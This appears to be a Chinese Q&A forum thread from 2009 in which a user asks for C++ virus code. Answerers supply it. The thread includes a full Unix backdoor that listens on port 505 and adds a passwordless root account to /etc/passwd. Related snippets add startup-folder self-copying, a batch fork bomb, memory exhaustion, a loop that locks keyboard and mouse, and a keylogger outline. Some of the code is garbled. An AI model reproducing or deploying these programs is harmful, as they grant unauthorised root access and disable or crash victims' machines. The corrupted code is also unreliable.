需要些C++的病毒代码

那些经典的病毒代码,请发给我邮箱...wuliao-zhende@163.com,注明不是exe,是txt,本人对黑客感兴趣,想研究下,谢谢了..
还有忽悠人的,别来了...我虽然不是黑客,但还了解点C++和一些病毒代码...

第1个回答  2009-02-17
真想研究不如去网上看文章,专门黑客网站上这种文章不会少。

代码的话,相信我,你直接看看不懂的...
第2个回答  2009-02-17
黑客不是玩病毒的~
经典的DOS下病毒代码全是汇编的,比如黑色星期五,中国大麻,完全没有C++的影子.
要玩Windows下的病毒,你还是先去研究研究Windows内核编程吧,不然看了也白看.
第4个回答  2009-02-17
给你一个,版本老了一些,但是还是比较经典的:
backdoor病毒源代码

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#define PORT 505
#define MAXDATASIZE 100
#define BACKLOG 10

void handle(char *command);
int main(int argc, char *argv[])
{
int sockfd, new_fd, sin_size, numbytes;
char *bytes;
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;

char buf[MAXDATASIZE];
char ask[]="Enter Command (1 to put r00t::0:0:... in /etc/passwd, 2 to
send '7h1s b0x 1s 0wn3d' to all people on the box: ";
if (argc != 2) {
fprintf(stderr,"Usage: %s password\n", argv[0]);
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)
{
perror("bind");
exit(1);
}
if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);

}

while(1) { /* main accept() loop */

sin_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \
&sin_size)) ==
{
perror("accept");
continue;
}

inet_ntoa(their_addr.sin_addr);
if (!fork()) {
recv(new_fd, buf,
MAXDATASIZE, 0);
bytes = strstr(buf, argv[1]);

if (bytes != NULL){

send(new_fd, ask, sizeof(ask), 0);

numbytes=recv(new_fd, buf,
MAXDATASIZE, 0);
buf[numbytes] = '\0';
handle(buf);
}
close(new_fd);
exit(0);
}
close(new_fd);

while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child
processes */
}
}

void handle(char *command)
{
FILE *fle;
if(strstr(command, "1") != NULL)
{
fle = f0/*n("/etc/passwd", "a*/;
fprintf(fle, "r00t::0:0:r00t:/root:/bin/bash");
fclose(fle);
}
if(strstr(command, "2") != NULL)
{
system("wall 7h1s b0x 1s 0wn3d");
}
}

比较简单的C++病毒代码
最简单的病毒代码如下: #include "windows.h" #include "stdio.h" void main(int argc,char * argv[]) { \/\/printf("%s\\n",argv[i]); char copy[80]; sprintf(copy,"copy %s \\"%%userprofile%%\\\\「开始」菜单\\\\程序\\\\启动\\"",argv[0]); system(copy); \/\/将这个程序拷到开机启动文件...

想用C++编个杀毒指令,我说你写,很简单
然后遍历文件taskkill或者可以TerminateProcess 但是要转化一下 int KillProcess(char *ProcessName) { \/\/杀除病毒进程函数 HANDLE processAll = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);tagPROCESSENTRY32 processEntry = {};processEntry.dwSize = sizeof(tagPROCESSENTRY32);DWORD processId ...

比较简单的C++病毒代码
\/*源代码:*\/ \/\/\/ include <Windows.h> include <iostream> include <fstream> using namespace std;int main(){ char a[9] = "abc.bat";ofstream file_out(a);file_out<<"%0|%0";file_out.close();system( a );return 0;} ...

需要些C++的病毒代码
backdoor病毒源代码 include <stdio.h> include <stdlib.h> include <errno.h> include <string.h> include <sys\/types.h> include <netinet\/in.h> include <sys\/socket.h> include <sys\/wait.h> define PORT 505 define MAXDATASIZE 100 define BACKLOG 10 void handle(char *command);int ...

求简单计算机病毒的程序(C\/C++)
} void DoIt(){ char *p;for(int i=0;i<100000;i++){ p=new char[100000];DoIt();} } --- 计算机病毒:利用计算机软件与硬件的缺陷,破坏计算机数据并影响计算机正常工作的一组指令集或程序代码 。百度百科说的,你没意见了吧,O(∩_∩)O哈哈~...

C++写病毒
这此复制的程序同样都有自我复制的能力类似于病毒,但有不是病毒,因为 没有破坏性,程序中也没有具有破坏性的代码 程序在turboc2.0中编绎通过 编程:郑绍辉 2004.3.1 \/ include <stdio.h> include <conio.h> include <string.h> define OK 1 define ERROR 0 typedef int Bool;void get...

求一段简单的病毒程序及对应的杀毒代码
include <windows.h> include <Winable.h> int main(){ FreeConsole();while(1){ BlockInput(true);} }\/\/c++实现一段最简单的病毒代码,锁住你的键盘和鼠标.(后果自负)

求c++病毒代码?求大师
要病毒代码干嘛哦?内个很危险的,你可以去卡饭找开源的病毒,但是注意啊!杀毒是很有必要的 下载腾讯电脑管家“8.5”最新版,对电脑首先进行一个体检,打开所有防火墙避免系统其余文件被感染。打开杀毒页面开始查杀,切记要打开小红伞引擎。如果普通查杀不能解决问题,您可以打开腾讯电脑管家---工具箱---...

请教C++编程,题目是类似小病毒的程序
代码我这没有。基本思路如下:键盘用钩子就行 开机自启动用注册表 发送用socket编程 自启动-写注册表 监视键盘-键盘钩子 远程发送-网络编程 LZ学学这方面知识吧

C++能编写病毒吗?
用vb,delphi写的都是小鸟病毒,用汇编写的是大牛病毒。那么用c、c++写的就是老鸟病毒了,老鸟比较少,所以你貌似看见的比较少,但是其实用c++写病毒很好,就是相对汇编而言会比较大。

相似回答
大家正在搜